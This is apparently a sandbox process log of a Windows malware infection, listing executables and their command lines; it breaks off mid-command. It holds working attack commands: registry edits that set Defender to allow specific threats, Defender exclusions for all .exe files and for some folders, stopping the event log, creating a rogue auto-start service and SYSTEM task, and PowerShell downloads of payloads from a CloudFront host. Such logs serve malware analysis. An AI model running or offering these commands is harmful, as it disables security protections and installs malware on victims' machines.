"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2892 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3412 /prefetch:8

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3872 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5088 -ip 5088

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5088 -s 988

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4824 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,9405376609420171971,11192823595958675285,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4804 /prefetch:1

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "RULTVSKP"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 2924 -ip 2924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 2316

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "RULTVSKP" binpath= "C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe" start= "auto"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "RULTVSKP"

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\system32\svchost.exe

svchost.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "butYHpXTvMdZIJsEKZ" /SC once /ST 13:33:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe\" LY /uOmdidxfbI 525403 /S" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ"

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn butYHpXTvMdZIJsEKZ

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

"C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe" --Admin IsNotAutoStart IsNotTask

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn butYHpXTvMdZIJsEKZ

C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe LY /uOmdidxfbI 525403 /S

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

"C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe" --Admin IsNotAutoStart IsNotTask

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

"C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\svchost.exe

svchost.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Users\Admin\AppData\Local\Temp\i1.exe

i1.exe /SUB=2838 /str=one

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3684 -ip 3684

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3684 -s 2016

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t 